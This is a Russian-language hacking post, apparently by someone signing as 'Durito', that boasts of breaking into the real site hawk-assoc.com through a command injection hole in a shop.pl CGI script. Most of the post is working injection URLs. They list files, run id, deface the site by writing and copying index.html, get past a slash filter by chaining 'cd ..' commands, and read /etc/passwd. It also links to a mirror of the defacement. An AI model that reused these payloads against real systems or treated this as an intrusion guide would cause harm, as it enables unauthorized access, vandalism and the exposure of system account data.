_ Главная  Хакерство и защита  Хакер (от англ. hack — разрубать)  Уязвимость www.hawk-assoc.com на скрипте shop.pl 

Уязвимость www.hawk-assoc.com на скрипте shop.pl

 

Как-то, наткнулся я на сайте www.hawk-assoc.com на скрипт shop.pl. скрипт обрабатывал следующий запрос:
http://www.xxx.com/cgi-local/shop.pl/page=index.html
сразу всполмился довольно старый баг в этом скрипте (возможность выполнения команд):
http://www.xxx.com/cgi-local/shop.pl/page=;ls|
http://www.xxx.com/cgi-local/shop.pl/page=;id|
http://www.xxx.com/cgi-local/shop.pl/page=;cat shop.pl|
собственно выполнить дефейс не предстовляло особой сложности.
для начала создавался файл index.html:
http://www.xxx.com/cgi-local/shop.pl/page=;echo deface:durito>index.html|
далее созданный файл копировался в директорию выше:
http://www.xxx.com/cgi-local/shop.pl/page=;cp index.html ..|
вот и весь дефейс. но ведь интересно было и по другим директориям походить. но скрипт упорно резал /, так что команда:
http://www.xxx.com/cgi-local/shop.pl/page=;ls ../cgi-bin| - не
работала, скрипт выдавал сообщение об ошибке. но тут я вспомнил о символе ;! С помощью него можно выполнять команды последовательно.
Выполнение каждой последующей команды начинается только после полного завершения
предыдущей.
Ввожу следующую команду:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;ls| и вижу листинг каталога вернего уровня. и так далее:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;ls| добрался и до корня. путешествие по папкам тоже не представляло сложности:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;cd etc;ls|
вот и злополучный passwd нашелся:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;cd etc;cat passwd|
и так далее. вот собственно и все.
а вот и зеркало взлома:
http://taxidermia.void.ru/mirrors/2003/09/22/www.hawk-assoc.com

Твой bug Durito.
_________________
EAT THE RICH!

Развернуть/свернуть >>> Развернуть/свернуть окно с комментариями

Комментарии


Имя:* [открыт]
ОБНОВИТЬ
Mail:* [скрыт]
Цифры:*
0.0/5.0 (0)
  • Итоги рейтинга 0.00/5
  • 1
  • 2
  • 3
  • 4
  • 5
Выгодная партнерская программа Отличный заработок для вебмастеров
Стань Агентом ПриватБанка Предлагай продукты Банка и зарабатывай до 10000 грн в месяц
Рекламная сеть Хороший рекламодатель знает, насколько важен качественный трафик.
Заработай на Играх и Услугах Продавайте наиболее выгодные для Вашего вида трафика от 0.20$
Эффективная расскрутка $1.0 за 1000 уникальных визитов по 30 секунд на ваш сайт
Знакомства в мире Более 20000000 анкет со всего мира для вас бесплатно
Online Казино Супер казино для азартных людей с контролем честности
Есть идея?

Как Вам РЕдизайн?

 ДА
 НЕТ

 Результаты

Нашли ошибку?

Система Orphus

Полезно

Аукцион в Украине

Поделиться Новостью


Новости Партнеров

.

Аттестат WM

Персональный Аттестат WebMoney